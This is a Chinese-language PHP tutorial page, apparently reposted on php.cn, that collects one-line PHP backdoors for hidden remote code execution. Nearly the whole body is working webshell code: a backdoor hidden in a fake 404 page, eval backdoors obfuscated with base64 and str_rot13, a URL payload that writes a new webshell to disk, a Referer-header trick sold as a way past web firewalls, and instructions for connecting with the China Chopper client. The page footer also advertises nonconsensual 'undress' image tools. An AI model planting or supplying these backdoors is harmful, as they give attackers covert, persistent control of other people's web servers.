Home php教程 php手册 PHP一句话后门集锦

PHP一句话后门集锦

Jun 06, 2016 pm 08:09 PM
php use

404页面的利用: !DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN" htmlhead title 404 Not Found /title /headbody h1 Not Found /h1 p The requested URL was not found on this server. /p /body/html ? php @preg_replace ( "/[pageerror]/e" , $_POST

404页面的利用:



404 Not Found

Not Found

The requested URL was not found on this server.



php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header
('HTTP/1.1 404 Not Found');
?>

404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。

无特征隐藏后门:

php
session_start
();

$_POST
['code']&& $_SESSION['theCode']= trim($_POST['code']);
$_SESSION
['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码将无法检查到。

利用GET函数构成后门:

php $_GET[a]($_GET[b]);?>

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马。

层级请求,编码运行PHP后门:

此方法用两个文件实现。

文件1:

php
//1.php
header
('Content-type:text/html;charset=utf-8');
parse_str
($_SERVER['HTTP_REFERER'], $a);
if(reset($a)=='10'&& count($a)==9){
eval(base64_decode(str_replace(" ","+", implode(array_slice($a,6)))));
}

文件2:

php
//2.php

header
('Content-type:text/html;charset=utf-8');
//要执行的代码
$code
=CODE
phpinfo
();

CODE
;
//进行base64编码
$code
= base64_encode($code);
//构造referer字符串
$referer
="a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url
='http://localhost/test1/1.php';
$ch
= curl_init();
$options
= array(
    CURLOPT_URL
=> $url,
    CURLOPT_HEADER
=> FALSE,
    CURLOPT_RETURNTRANSFER
=> TRUE,
    CURLOPT_REFERER
=> $referer
);

curl_setopt_array
($ch, $options);
echo curl_exec
($ch);

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf(Web Application Firewall / Web应用防护系统)对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

三个变形的一句话PHP木马:

1、php ($_=@$_GET[2]).@$_($_POST[1])?>

菜刀连接http://site/1.php?2=assert ,密码为1。

2php
$_
="";
$_
[+""]='';
$_
="$_"."";
$_
=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
php ${'_'.$_}['_'](${'_'.$_}['__']);?>

在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。

3、($b4dboy = $_POST['b4dboy'])&&@preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)','add');

str_rot13(‘riny’)即编码后的eval,完全避开了关键字。

其他一些PHP一句话木马后门:

php @eval_r($_POST[a])?>
//典型一句话

$hh ="p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh
("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话

$filename=$_GET['xbid'];
include
($filename);
//危险的include函数,直接编译任何文件为php格式运行

$reg="c"."o"."p"."y";
$reg
($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件

$gzid ="p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid
("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话

include ($uid);
//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句话

script language="php">@eval_r($_POST[a])script>
//绕过
php assert($_POST[a]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句

php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入O>h=@eval_r($_POST1);O>

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

Repo: How To Revive Teammates
1 months ago By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
2 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: How To Get Giant Seeds
1 months ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

CakePHP Project Configuration CakePHP Project Configuration Sep 10, 2024 pm 05:25 PM

In this chapter, we will understand the Environment Variables, General Configuration, Database Configuration and Email Configuration in CakePHP.

PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian Dec 24, 2024 pm 04:42 PM

PHP 8.4 brings several new features, security improvements, and performance improvements with healthy amounts of feature deprecations and removals. This guide explains how to install PHP 8.4 or upgrade to PHP 8.4 on Ubuntu, Debian, or their derivati

CakePHP Date and Time CakePHP Date and Time Sep 10, 2024 pm 05:27 PM

To work with date and time in cakephp4, we are going to make use of the available FrozenTime class.

CakePHP File upload CakePHP File upload Sep 10, 2024 pm 05:27 PM

To work on file upload we are going to use the form helper. Here, is an example for file upload.

CakePHP Routing CakePHP Routing Sep 10, 2024 pm 05:25 PM

In this chapter, we are going to learn the following topics related to routing ?

Discuss CakePHP Discuss CakePHP Sep 10, 2024 pm 05:28 PM

CakePHP is an open-source framework for PHP. It is intended to make developing, deploying and maintaining applications much easier. CakePHP is based on a MVC-like architecture that is both powerful and easy to grasp. Models, Views, and Controllers gu

CakePHP Creating Validators CakePHP Creating Validators Sep 10, 2024 pm 05:26 PM

Validator can be created by adding the following two lines in the controller.

How To Set Up Visual Studio Code (VS Code) for PHP Development How To Set Up Visual Studio Code (VS Code) for PHP Development Dec 20, 2024 am 11:31 AM

Visual Studio Code, also known as VS Code, is a free source code editor — or integrated development environment (IDE) — available for all major operating systems. With a large collection of extensions for many programming languages, VS Code can be c

See all articles